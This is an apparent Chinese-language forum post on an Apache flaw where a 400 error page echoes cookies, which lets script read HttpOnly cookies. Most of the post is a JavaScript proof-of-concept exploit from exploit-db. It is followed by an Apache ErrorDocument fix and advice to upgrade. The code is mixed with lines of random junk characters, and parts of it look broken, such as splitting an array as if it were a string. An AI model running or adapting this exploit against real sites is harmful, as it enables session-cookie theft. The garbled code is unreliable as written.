Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

1 O: g& V# \5 \3 ~3 X用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
$ Y6 \2 D* W' O7 k( Y" `
) M/ N9 C- K: B8 L0 E4 \
$ @6 q, b2 q2 L// http://www.exploit-db.com/exploits/18442/
' b! [4 A/ D/ T: ~9 g& Tfunction setCookies (good) {
// Construct string for cookie value
0 E" M3 ~; _# r' g7 y' _" yvar str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
2 E& _+ R1 I. G" _* C7 `# K// Set cookies
4 G6 @. Y5 V6 O& [for (i = 0; i < 10; i++) {
) r5 D- T- N% V7 M4 _// Expire evil cookie
- [1 P8 C0 i  T/ ?# a$ x" pif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
# e, H$ u  h. h9 h6 U. A}
// Set evil cookie
, z& w& D% Q; R: g! L0 Zelse {
; S6 R1 ~" c' e' l6 Lvar cookie = "xss"+i+"="+str+";path=/";
: ?. ~6 {7 a' c( V1 c}
6 A* {$ q* m6 }! O' ^( T0 m! w* X& bdocument.cookie = cookie;
1 f: v3 u6 @. I" x" x+ b2 Q}
, t2 f0 R$ W$ \1 ]}
( ~/ W0 w7 F: M9 u% T: qfunction makeRequest() {
& {! R8 I2 u: |% u: T1 TsetCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
* y3 P9 x. m3 s7 x0 Nvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
2 T& C; u# {* |- Y2 w" p% r  s: w/ eif (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
5 c' N2 R; z5 h( c. g* ]8 H8 k8 P: ovar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
$ ~/ u% I: b) H( F. J2 |8 p// Add cookies to object
for (var i=0; i<cookies.length; i++) {
" d# S" T4 Q7 @9 I" z6 i3 Ovar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
8 z6 j. x8 G  R// Unset malicious cookies
$ D9 e# t% r" z: F  rsetCookies(true);
alert(JSON.stringify(cookie_dict));
' V  N" w! K& q1 L6 s4 E7 \8 y4 e6 Q}
  o( R& a) q' m. O% z}
" r& d4 z! Y+ N" L5 ?// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
2 W- _% F7 O- c' N/ H$ L. Bxhr.send(null);
/ g# \0 T* \  t* Y- e7 G, B$ `}
7 j+ M, \" Q- j" [makeRequest();
  Q( q" t4 P% t0 s4 Z$ X
你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

! D8 }. ~6 R! z9 @$ ?+ ]6 UApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,
# a8 S/ m! e! D4 ]
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
9 Q) s8 Z3 Z0 ~+ i
( }8 C" Z% O- [) f经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

Apache配置：
" e% a& C- O2 \5 T7 `
ErrorDocument400 " security test"

当然，升级apache到最新也可：）。

# k+ C2 u3 c& H2 Q% _" u+ l( M参考：http://httpd.apache.org/security/vulnerabilities_22.html
: A5 F$ p1 f5 a. i